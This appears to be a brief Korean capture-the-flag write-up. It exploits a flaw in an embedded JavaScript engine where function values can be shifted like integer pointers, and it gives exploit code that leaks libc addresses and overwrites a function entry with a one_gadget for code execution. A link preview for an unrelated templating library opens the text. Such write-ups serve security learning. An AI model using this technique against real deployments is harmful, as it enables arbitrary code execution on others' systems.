GitHub – mde/ejs: 임베디드 자바스크립트 템플릿 – http://ejs.co
포함된 JavaScript 템플릿 – http://ejs.co. GitHub에서 계정을 생성하여 mde/ejs 개발에 기여하십시오.
github.com
함수가 원시 포인터를 저장하고 정수에서 작동하도록 허용하는 주요 결함(?) 또는 기능(?)이 있습니다. 패치도 안된듯(?)
f = print;
f = f + 0x100;
f(); -> call (mjs_print+0x100)
이렇게 하면 OOB가 가능합니다.
let f = print;
let libc_start_main = f(0x26960);
for(let i = 1; i < 6; i++){
libc_start_main = libc_start_main + (f(0x26960+i) << 8*i);
}
let system = libc_start_main - 0x29dc0+0xebcf5;
for(let i = 0; i < 6; i++){
f(0x269c0+i) = (system >> 8*i) & 0xff;
}
print('')
OOB 호출과 OOB 읽기/쓰기 모두 가능하므로 get을 one_gadget으로 재정의하여 해결할 수 있습니다.
let f = print; let libc_start_main = f(0x26960); for(let i = 1; i < 6; i++){ libc_start_main = libc_start_main + (f(0x26960+i) << 8*i); } let system = libc_start_main - 0x29dc0+0xebcf5; for(let i = 0; i < 6; i++){ f(0x269c0+i) = (system >> 8*i) & 0xff; } print('')
한 줄로 보내야 합니다.